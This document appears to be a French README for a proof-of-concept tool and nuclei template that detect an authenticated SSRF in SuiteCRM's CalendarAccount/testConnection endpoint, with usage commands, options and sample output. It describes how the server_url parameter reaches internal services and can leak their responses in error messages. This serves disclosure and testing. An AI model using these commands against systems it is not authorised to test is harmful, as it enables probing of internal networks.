
SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF authentifié
Preuve de concept de falsification de requête côté serveur (SSRF) authentifiée pour SuiteCRM via le point de terminaison CalendarAccount/testConnection et le fournisseur caldav_basic.
Les versions affectées de SuiteCRM acceptent le paramètre server_url d'un utilisateur authentifié et le transmettent à cURL sans valider la destination. Cela permet des requêtes côté serveur vers des services HTTP locaux (loopback) ou internes. Dans les versions vulnérables, une réponse d'échec de connexion peut également divulguer les données de réponse du service interrogé dans le message d'erreur.
Le PoC s'authentifie avec un compte SuiteCRM valide et requête une URL contrôlée. Sa destination par défaut, http://127.0.0.1:1/, est un port loopback fermé : cela prouve que SuiteCRM a tenté la connexion côté serveur sans requêter de service externe.
--server-urlAucun paquet Python tiers n'est requis.
Validation locale de base contre SuiteCRM :
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
Utilisation d'une session authentifiée existante :
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
Test d'une destination interne ou contrôlée et autorisée :
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url URL de base de SuiteCRM
-U, --username Nom d'utilisateur SuiteCRM
-P, --password Mot de passe SuiteCRM
--cookie Valeur de l'en-tête Cookie SuiteCRM authentifié
--server-url URL requêtée par SuiteCRM ; par défaut : http://127.0.0.1:1/
--timeout Délai d'expiration HTTP en secondes ; par défaut : 35
-k, --insecure Désactiver la vérification du certificat TLS
Les versions vulnérables renvoient un échec du test de connexion après traitement de l'URL fournie :
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
Les versions corrigées rejettent les destinations non autorisées avant de tenter la connexion :
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml s'authentifie avec username et password, réutilise la session SuiteCRM et effectue la même sonde loopback fermée :
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
Le template a été validé avec :
nuclei -validate -t CVE-2026-69137.yaml
--server-url que contre des destinations que vous êtes autorisé à tester.